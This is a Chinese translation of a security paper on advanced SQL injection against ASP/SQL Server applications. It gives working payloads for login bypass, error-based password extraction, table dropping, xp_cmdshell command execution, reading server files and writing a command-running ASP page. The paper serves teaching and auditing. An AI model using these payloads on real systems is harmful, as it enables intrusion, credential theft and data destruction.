佳木斯湛栽影视文化发展公司

主頁(yè) > 知識(shí)庫(kù) > SQL數(shù)據(jù)庫(kù)的高級(jí)sql注入的一些知識(shí)

SQL數(shù)據(jù)庫(kù)的高級(jí)sql注入的一些知識(shí)

熱門標(biāo)簽:百度競(jìng)價(jià)排名 地方門戶網(wǎng)站 AI電銷 網(wǎng)站排名優(yōu)化 鐵路電話系統(tǒng) Linux服務(wù)器 服務(wù)外包 呼叫中心市場(chǎng)需求
[概 要]
這篇文章討論常用的"sql注入"技術(shù)的細(xì)節(jié),應(yīng)用于流行的Ms IIS/ASP/SQL-Server平臺(tái)。這里探討有關(guān)這種攻擊各種可以注入程序訪問數(shù)據(jù)和數(shù)據(jù)庫(kù)防范的方法。這篇文章面向兩種讀者:一是基于數(shù)據(jù)庫(kù)web程序開發(fā)人員和審核各種web程序的安全專家。
[介 紹]
結(jié)構(gòu)化查詢語言(SQL)是一種用來和數(shù)據(jù)庫(kù)交互的文本語言SQL語言多種多樣,大多的方言版本都共同寬松地遵循SQL-92標(biāo)準(zhǔn)(最新的ANSI標(biāo)準(zhǔn)[譯者注:目前最新的是SQL-99])。SQL運(yùn)行的典型的操作是“查詢”,它是可以讓數(shù)據(jù)庫(kù)返回“查詢結(jié)果記錄集”的語句集合。SQL語句可以修改數(shù)據(jù)庫(kù)的結(jié)構(gòu)(用數(shù)據(jù)定義語言"DDL")和操作數(shù)據(jù)庫(kù)里的數(shù)據(jù)(用數(shù)據(jù)操作語言"DML")。我們?cè)谶@里著重討論Transact-SQL(交互式SQL),應(yīng)用于SQL-Server的SQL一種方言(非標(biāo)準(zhǔn)SQL)。如果攻擊者可以插一系列的SQL語句進(jìn)入應(yīng)用程序的數(shù)據(jù)查詢時(shí),Sql注入攻擊就可能發(fā)生。
一個(gè)典型的SQL語句是這樣的:
select id, forename, surname from authors
這個(gè)查詢語句將會(huì)從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結(jié)果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這里很重要的一點(diǎn)是'john'和'smith'是被單引號(hào)引住的,假設(shè)'forename'和'surname'字段是來自于用戶的輸入,攻擊者就可能通過輸入非法字符串來對(duì)這個(gè)查詢進(jìn)行SQL注入:
Forename:jo'hn
Surname: smith
查詢語句就會(huì)變成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當(dāng)數(shù)據(jù)庫(kù)試圖執(zhí)行這個(gè)查詢,它會(huì)返回這樣的錯(cuò)誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是因?yàn)椴迦氲膯我?hào)破壞了原來單引號(hào)引住的數(shù)據(jù),數(shù)據(jù)庫(kù)執(zhí)行到'hn'時(shí)失敗。如果攻擊者這樣輸入:
Forename: jo'; drop table authors--
Surname:
...authors表就會(huì)被刪掉,原因過一會(huì)再解釋。
似乎通過刪除用戶輸入的字符串中的單引號(hào)或者通過一些方法避免它們出現(xiàn)可以解決這個(gè)問題。誠(chéng)然如此,但是要實(shí)施這個(gè)解決方法還有很多的困難。因?yàn)槭紫?不是所有的用戶提交的數(shù)據(jù)都是字符串形式,比如我們的用戶輸入通過'id'(看上去是個(gè)數(shù)字)來選擇一個(gè)用戶,我們的查詢可能會(huì)這樣:
select id,forename,surname from authors where id=1234
在這種情況下攻擊者可以輕易的在數(shù)值輸入后面添加SQL語句。在其他SQL方言中,使用著各種分隔符,比如MS Jet DBMS引擎,日期可以用'#'符號(hào)來分隔。
其次,避免單引號(hào)并不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以Active Server Pages(ASP)登陸頁(yè)面為例子來詳細(xì)說明,它訪問一個(gè)Sql-Server數(shù)據(jù)庫(kù)并且驗(yàn)證一個(gè)到我們假想的程序的訪問。
這是用戶填寫用戶名和密碼的表單頁(yè)面:
復(fù)制代碼 代碼如下:

HTML>
HEAD>
TITLE>Login Page/TITLE>
/HEAD>
BODY bgcolor='000000' text='cccccc'>
FONT Face='tahoma' color='cccccc'>
CENTER>H1>Login/H1>
FORM action='process_login.asp' method=post>
TABLE>
TR>TD>Username:/TD>TD>INPUT type=text name=username size=100%width=100>/INPUT>/TD>/TR>
TR>TD>Password:/TD>TD>INPUT type=password name=password size=100%
width=100>/INPUT>/TD>/TR>
/TABLE>
INPUT type=submit value='Submit'> INPUT type=reset value='Reset'>
/FORM>
/FONT>
/BODY>
/HTML>

這是'process_login.asp'的代碼, 它處理用戶登陸:
復(fù)制代碼 代碼如下:

HTML>
BODY bgcolor='000000' text='ffffff'>
FONT Face='tahoma' color='ffffff'>
STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
/STYLE>
%@LANGUAGE = JScript %>
%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>FONT Face='tahoma' color='cc0000'>
H1>
BR>BR>
CENTER>ACCESS DENIED/CENTER>
/H1>
/BODY>
/HTML>
%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
FONT Face='tahoma' color='00cc00'>
H1>
CENTER>ACCESS GRANTEDBR>
BR>
Welcome,
% Response.write(rso("Username"));
Response.write( "/BODY>/HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>

這里討論的是'process_login.asp'中的創(chuàng)建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用戶指定了下面這樣的數(shù)據(jù):
Username: '; drop table users--
Password:
'users'表會(huì)被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標(biāo)志著一個(gè)查詢的結(jié)束另一個(gè)查詢的開始。用戶名最后的'--'用來使這個(gè)特殊的查詢無錯(cuò)誤結(jié)束。
攻擊者只要知道用戶名,就可以通過以下的輸入以任何用戶的身份登陸:
Username: admin'--
攻擊者可以通過下面的輸入以用戶表里的第一個(gè)用戶來登陸:
Username: ' or 1=1--
...更有甚者,攻擊者通過以下的輸入可以以任意虛構(gòu)的用戶登陸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因?yàn)槌绦蛳嘈殴粽咧付ǖ某A渴菙?shù)據(jù)庫(kù)返回的記錄集的一部分。
[通過錯(cuò)誤信息獲取信息]
這個(gè)技術(shù)是David Litchfield在一次滲透入侵測(cè)試中首先發(fā)現(xiàn)的,后來david寫了篇關(guān)于這個(gè)技術(shù)的文章,很多作者都參考過這篇作品。這里我們討論“錯(cuò)誤消息”技術(shù)潛在的機(jī)制,使讀者可以充分理解它并且能靈活應(yīng)用。
為了操作數(shù)據(jù)庫(kù)里的數(shù)據(jù),攻擊者要確定某個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu)。例如:我們的"user"表是用下面的語句建立的:
復(fù)制代碼 代碼如下:

create table users( id int,
username varchar(255),
password varchar(255),
privs int
)

并且插入了下面的用戶:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假設(shè)攻擊者要為自己插入一個(gè)用戶,如果不知道表的結(jié)構(gòu)的話,他不可能成功。即使他運(yùn)氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序里添加了一個(gè)低權(quán)限的用戶,而他的目標(biāo)是管理員的權(quán)限。
對(duì)于攻擊者來說幸運(yùn)的是:如果程序返回錯(cuò)誤(asp默認(rèn)如此),攻擊者可以猜測(cè)整個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu),讀取ASP程序連接到SQL-Server的帳號(hào)權(quán)限內(nèi)可以讀取的任何值。
(下面給出的使用上面提供的示例數(shù)據(jù)庫(kù)和asp腳本來說明這些技術(shù)怎樣實(shí)現(xiàn)的)
首先,攻擊者要確定查詢的表名和字段名。要做到這點(diǎn),攻擊者可以使用'select'語句的'having'子句:
username: ' having 1=1 --
這會(huì)引起下面的錯(cuò)誤(譯者注:having字句必須和GROUP BY或者聚合函數(shù)一起配合使用,否則出錯(cuò)):
復(fù)制代碼 代碼如下:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35

所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'group by'子句繼續(xù)得到其他列名,如下:
復(fù)制代碼 代碼如下:

username: ' group by users.id having 1=1 --
(結(jié)果產(chǎn)生這樣的錯(cuò)誤)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最后攻擊者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒有錯(cuò)誤,相當(dāng)于:
select * from users where username = ''
所以攻擊者知道了查詢只是關(guān)于'users'表的,并且順序使用了列'id,username,password,rpivs'。
如果攻擊者能確定各列的數(shù)據(jù)類型將會(huì)很有用,可以利用類型轉(zhuǎn)換錯(cuò)誤信息來達(dá)到這一點(diǎn),看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執(zhí)行'sum'子句的特性,計(jì)算文本域的和會(huì)返回這樣的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告訴我們'username'字段的類型是'varchar'。相反的,如果我們?cè)噲D計(jì)算數(shù)值型的字段,但結(jié)果兩行的列數(shù)并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個(gè)技術(shù)來大概地確定數(shù)據(jù)庫(kù)內(nèi)各列的類型。
這樣攻擊者就可以寫出一個(gè)格式完美的'insert'語句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個(gè)技術(shù)的潛力不止這些。攻擊者可以利用任何錯(cuò)誤信息來暴露系統(tǒng)環(huán)境或者數(shù)據(jù)庫(kù)信息。執(zhí)行下面的語句可以得到一個(gè)標(biāo)準(zhǔn)錯(cuò)誤信息的清單:
select * from master..sysmessages
檢查這個(gè)清單可以發(fā)現(xiàn)很多有趣的信息。
一個(gè)特別有用的信息有關(guān)類型轉(zhuǎn)換,如果你試圖將一個(gè)字符串轉(zhuǎn)換成整型,整個(gè)字符串的內(nèi)容將會(huì)出現(xiàn)在錯(cuò)誤信息里。以我們登陸頁(yè)的例子來說,使用下面的'username'將會(huì)返回SQL-Server的版本以及它所在服務(wù)器操作系統(tǒng)的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內(nèi)置常量'@@version'轉(zhuǎn)換成整型,因?yàn)?users'表第一列是整數(shù)。
這個(gè)技術(shù)可以用來讀取任何數(shù)據(jù)庫(kù)的任何表的任何內(nèi)容,如果攻擊者對(duì)用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小用戶名,而且試圖將它轉(zhuǎn)換成一個(gè)整數(shù):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻擊者就知道'admin'帳號(hào)存在,他現(xiàn)在可以把他發(fā)現(xiàn)的用戶名放進(jìn)'where'子句來反復(fù)測(cè)試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以搜集密碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個(gè)更“別致”的技術(shù)是將用戶名和密碼連接成一個(gè)單獨(dú)的字符傳,然后試圖將它轉(zhuǎn)換成整型。這將舉另一種例子;Transact-SQL語句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:
復(fù)制代碼 代碼如下:

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

攻擊者用這個(gè)'username'登陸(明顯都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
這創(chuàng)建了一個(gè)只包含單列'ret'的表'foo',而且把我們的字符串放在里面。通常一個(gè)低權(quán)限的用戶可以在示例數(shù)據(jù)庫(kù)里創(chuàng)建表,或者一個(gè)臨時(shí)表。
之后攻擊者選擇查詢表里的字符串,就像前面說的:
復(fù)制代碼 代碼如下:

Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

然后刪除這個(gè)表:
Username: '; drop table foo--
這些例子僅僅揭開了這項(xiàng)技術(shù)的神秘面紗,不用說,如果攻擊者可以從數(shù)據(jù)庫(kù)獲得豐富的錯(cuò)誤信息,他們的工作將大大的簡(jiǎn)化。
[更深入的訪問]
一旦攻擊者可以控制數(shù)據(jù)庫(kù),他們可能想通過這些權(quán)限來獲得對(duì)網(wǎng)絡(luò)更多的控制,可以通過很多方法來達(dá)到這一目的:
1.利用xp_cmdshell擴(kuò)展存儲(chǔ)以SQL-Server用戶的身份在數(shù)據(jù)庫(kù)服務(wù)器上執(zhí)行命令
2.利用xp_regread擴(kuò)展存儲(chǔ)讀取注冊(cè)表的鍵值,也包括SAM(只要SQL-Server是以一個(gè)本地帳號(hào)運(yùn)行的)
3.用其他的擴(kuò)展存儲(chǔ)改變服務(wù)器設(shè)置
4.在聯(lián)合服務(wù)器上執(zhí)行查詢
5.創(chuàng)建客戶擴(kuò)展存儲(chǔ)從而在SQL-Server進(jìn)程內(nèi)運(yùn)行exploit
6.用'bulk insert'語句去讀服務(wù)器上任何文件
7.用bcp在服務(wù)器上創(chuàng)建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲(chǔ)過程來創(chuàng)建ActiveX對(duì)象來完成asp腳本可以做的任何事情
這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達(dá)到目的,我們列舉這些SQL-Server相關(guān)的攻擊方法是為了說明如果程序可以被注入SQL語句時(shí)可能會(huì)發(fā)生什么,我們將依次給出以上各種情況的對(duì)策。
[xp_cmdshell]
擴(kuò)展存儲(chǔ)的本質(zhì)是編譯了的動(dòng)態(tài)鏈接庫(kù)(DLLs),它用SQL-Server指定的調(diào)用方式去運(yùn)行接口函數(shù)。他們?cè)试SSQL-Server程序擁有了和c/c++一樣的功能,是個(gè)非常有用的特性。SQL-Server內(nèi)置了大量的擴(kuò)展存儲(chǔ),而且有各種各樣的函數(shù)比如發(fā)送郵件和更改注冊(cè)表。
xp_cmdshell是一個(gè)內(nèi)置的擴(kuò)展存儲(chǔ),它允許執(zhí)行任意的命令行程序。例如:
exec master..xp_cmdshell 'dir'
將會(huì)獲得一個(gè)SQL-Server進(jìn)程所在工作目錄的列表
exec master..xp_cmdshell 'net1 user'
將提供主機(jī)用戶的列表。如果SQL Server正常的以本地'system'帳號(hào)或者'domain user'帳號(hào)運(yùn)行,攻擊者可以造成更嚴(yán)重破壞。
[xp_regread]
另外一個(gè)有用的內(nèi)置的擴(kuò)展存儲(chǔ)是xp_regXXX函數(shù)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
其中一些函數(shù)的用法的舉例:
exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(它決定服務(wù)器的空連接式共享是否可用)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
(它顯示所有的服務(wù)器上SNMP公共的設(shè)置,通過這個(gè)信息,攻擊者可以在相同的網(wǎng)絡(luò)區(qū)域里重新配置網(wǎng)絡(luò)設(shè)置,因?yàn)镾NMP共有設(shè)置很少被改變而且由很多主機(jī)共享)
可以想象攻擊者怎樣利用這些函數(shù)來讀取SAM文件,改變系統(tǒng)設(shè)置在重新啟動(dòng)后就被服務(wù)的應(yīng)用,或者在用戶下一次登陸時(shí)運(yùn)行任意命令。
[其他擴(kuò)展存儲(chǔ)]
xp_servicecontrol擴(kuò)展存儲(chǔ)允許用戶啟動(dòng),停止,暫?;蛘哌\(yùn)行服務(wù)。
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
下面是一些其他有用的擴(kuò)展存儲(chǔ)表:
xp_availablemedia 顯示機(jī)器上可用的驅(qū)動(dòng)器
xp_dirtree 獲得一個(gè)目錄樹
xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
xp_loginconfig 顯示服務(wù)器的安全狀態(tài)信息
xp_makecab 允許用戶在服務(wù)器上創(chuàng)建壓縮文件(或者任何服務(wù)器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務(wù)器可以訪問的域
xp_terminate_process 結(jié)束一個(gè)給定PID進(jìn)程
[聯(lián)合服務(wù)器]
SQL-Server提供了一個(gè)服務(wù)器聯(lián)合的機(jī)制,就是允許一個(gè)數(shù)據(jù)庫(kù)服務(wù)器上的查詢操作其他服務(wù)器的數(shù)據(jù)。這些聯(lián)合設(shè)置存放在master..sysservers表里,如果一個(gè)相連的服務(wù)器使用了'sp_addlinkedsrvlogin'存儲(chǔ)過程,一個(gè)自動(dòng)的登陸了的連接已經(jīng)存在,可以通過它不登陸而訪問該服務(wù)器。'openquery'函數(shù)允許查詢?cè)诼?lián)合服務(wù)器上執(zhí)行。
[用戶自定義擴(kuò)展存儲(chǔ)]
擴(kuò)展存儲(chǔ)的API是相當(dāng)簡(jiǎn)單的,創(chuàng)建一個(gè)帶有惡意代碼的擴(kuò)展存儲(chǔ)DLL也是相當(dāng)容易的。通過命令行有很多方法將DLL上傳到服務(wù)器,還有其他的很多方法包括各種通信機(jī)制來自動(dòng)實(shí)現(xiàn),比如HTTP下載和FTP腳本。
一旦DLL文件出現(xiàn)在服務(wù)器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴(kuò)展存儲(chǔ)(這里,我們的惡意擴(kuò)展存儲(chǔ)是個(gè)用來操作服務(wù)器的文件系統(tǒng)小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴(kuò)展存儲(chǔ)就可以通過一般的方法調(diào)用:
exec xp_webserver
一旦這個(gè)擴(kuò)展存儲(chǔ)執(zhí)行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導(dǎo)入文本文件]
利用'bulk insert'語句,可以把一個(gè)文本文件的內(nèi)容插入進(jìn)一張臨時(shí)表,我們簡(jiǎn)單的創(chuàng)建一個(gè)表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert來插入數(shù)據(jù)來自于一個(gè)文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
通過上面介紹過的錯(cuò)誤信息技巧就可以得到數(shù)據(jù),或者通過一個(gè)'union'查詢,把文本數(shù)據(jù)作為查詢的數(shù)據(jù)返回。這對(duì)于獲得存儲(chǔ)在數(shù)據(jù)庫(kù)里的腳本如asp腳本很有用。
[利用BCP創(chuàng)建文本文件]
利用和'bulk insert'作用相反的技術(shù)創(chuàng)建任意的文本文件非常簡(jiǎn)單。不過需要一個(gè)命令行工具'bcp'('bulk copy program'),因?yàn)閎cp在SQL-Server進(jìn)程外訪問數(shù)據(jù)庫(kù),它需要一次登陸。但是這不難,因?yàn)楣粽叨伎梢詣?chuàng)建一個(gè);或者如果服務(wù)器配置使用了“完整性”安全模式,攻擊者可以利用它。
命令行格式如下:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'S'參數(shù)是要運(yùn)行查詢的服務(wù)器,'U'參數(shù)是用戶名,'P'是密碼,這里的密碼是'foobar'。
[SQL-Server 里的ActiveX自動(dòng)腳本]
SQL-Server提供了一些內(nèi)置的擴(kuò)展存儲(chǔ),允許在SQL-Server內(nèi)創(chuàng)建ActiveX自動(dòng)腳本。這些腳本在功能上和windows scripting host上運(yùn)行的腳本或者asp腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創(chuàng)建自動(dòng)對(duì)象并且通過他們產(chǎn)生作用。一個(gè)用Transact-SQL寫的自動(dòng)腳本可以做任何asp腳本或者WSH腳本能做的事。
下面提供一些例子來說明:
1)這個(gè)例子用'wscript.shell'對(duì)象創(chuàng)建一個(gè)notepad的實(shí)例(當(dāng)然這里也可以是任何命令行命令)
復(fù)制代碼 代碼如下:

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我們的例子里可以使用這樣的用戶名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)這個(gè)例子用'scripting.filesystemobject'對(duì)象去讀已知的文本文件:
復(fù)制代碼 代碼如下:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子創(chuàng)建一個(gè)asp腳本執(zhí)行任意命令:
復(fù)制代碼 代碼如下:

-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '

需要注意的很重要的一點(diǎn)是Windows NT4,IIS4平臺(tái)asp腳本將會(huì)以'system'的帳號(hào)運(yùn)行,而在IIS5他們會(huì)以低權(quán)限的IWAM_xxx帳號(hào)運(yùn)行。
4)這個(gè)例子(稍帶欺騙性)說明這項(xiàng)技術(shù)的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)對(duì)象,使SQL Server說話:
復(fù)制代碼 代碼如下:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

這當(dāng)然也可以在我們的例子里使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時(shí)也以'admin'的身份登陸了程序)
用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[存儲(chǔ)過程]
傳統(tǒng)的認(rèn)識(shí)是如果ASP程序使用了數(shù)據(jù)庫(kù)系統(tǒng)的存儲(chǔ)過程,那么就不可能SQL注入了。這句話不完全對(duì),這依賴于ASP腳本調(diào)用存儲(chǔ)過程的方式。
本質(zhì)上,一個(gè)帶參數(shù)的查詢執(zhí)行了,用戶提供的參數(shù)就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對(duì)無數(shù)據(jù)部分的查詢語句施加任何影響,他們?nèi)匀豢赡芸刂茢?shù)據(jù)庫(kù)。
一個(gè)有用的規(guī)則是:
1. 如果ASP腳本創(chuàng)建了一個(gè)提交給服務(wù)器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲(chǔ)過程。
2. 如果ASP腳本使用了封裝傳遞參數(shù)給存儲(chǔ)過程的過程對(duì)象(如ADO command對(duì)象,和參數(shù)集合一起使用的)那么它通常就很安全了,但是這還要取決于對(duì)象的執(zhí)行。
明顯的,最好習(xí)慣于驗(yàn)證所有的用戶輸入,因?yàn)樾碌墓艏夹g(shù)會(huì)不停的涌現(xiàn)。
為了說明存儲(chǔ)過程查詢的注入,運(yùn)行下面的SQL語句:
sp_who '1' select * from sysobjects
或者
sp_who '1' ; select * from sysobjects
任何附加語句在存儲(chǔ)過程執(zhí)行后還是可以執(zhí)行。
[高級(jí)Sql注入]
一個(gè)應(yīng)用程序通常過濾單引號(hào),另一方面限制用戶的輸入,比如限制長(zhǎng)度。
在這里,我們將討論一些繞過一些明顯的SQL注入防范的和長(zhǎng)度限制的技巧。
[沒有符號(hào)的字符串]
有時(shí)候,開發(fā)人員可能已經(jīng)通過過濾單引號(hào)來保護(hù)應(yīng)用程序,比如用VBScript的'replace'函數(shù):
復(fù)制代碼 代碼如下:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

不可否認(rèn),這會(huì)阻止所有的對(duì)我們上面給出的對(duì)示例站點(diǎn)的攻擊,刪除';'字符也會(huì)起作用。但是,在一個(gè)大的程序里一些用戶輸入可能被假定為數(shù)值型。這些值沒有限制,提供了很多可以注入的地方。
如果攻擊者希望創(chuàng)建一個(gè)字符串值而不使用引號(hào),他們可以用'char'函數(shù)。例如:
復(fù)制代碼 代碼如下:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一個(gè)往表里插入字符的不帶引號(hào)的查詢語句。
當(dāng)然,如果攻擊者使用一個(gè)數(shù)值型的用戶名和密碼的話,下面的語句也同樣可以很好的執(zhí)行:
insert into users values( 667,
123,
123,
0xffff)
因?yàn)镾QL-Server自動(dòng)將數(shù)值型的轉(zhuǎn)換成'varchar'類型,類型轉(zhuǎn)換是默認(rèn)的。
[SQL二次注入]
即使一個(gè)程序總是過濾單引號(hào),攻擊者仍然可以先注入SQL作為數(shù)據(jù)存放在數(shù)據(jù)庫(kù)里然后被程序再次使用。
比如,一個(gè)攻擊者可能通過注冊(cè),創(chuàng)建一個(gè)用戶名
Username: admin'--
Password: password
程序正確的過濾了單引號(hào),'insert'語句如下:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
我們假設(shè)程序允許用戶更改密碼,ASP腳本在設(shè)置新的密碼前先確認(rèn)用戶舊密碼正確。代碼可能這樣寫:
復(fù)制代碼 代碼如下:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{


設(shè)置新密碼的查詢語句可能這樣寫的:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")是登陸的查詢返回的的用戶名。
用戶名為admin'--,上面的查詢就變成了這樣:
update users set password = 'password' where username = 'admin'--'
因此攻擊者可以通過注冊(cè)了一個(gè)名叫admin'--的用戶來把a(bǔ)dmin的密碼改成他們自己的。
這是個(gè)危險(xiǎn)的問題,目前大部分的大型程序都試圖過濾數(shù)據(jù)。最好的解決方法是拒絕非法輸入,而不是簡(jiǎn)單的改變它。這有時(shí)候會(huì)導(dǎo)致一些問題,非法字符在某些地方是必要的,比如在名字帶符號(hào)的情況:
O'Brien
從安全的角度,最好的解決辦法是不允許出現(xiàn)單引號(hào)。如果這樣不行,必須避免它們出現(xiàn),這種情況下,最好保證所有要進(jìn)入SQL語句的字符(包括從數(shù)據(jù)庫(kù)里取出的字符)都被正確的處理過。
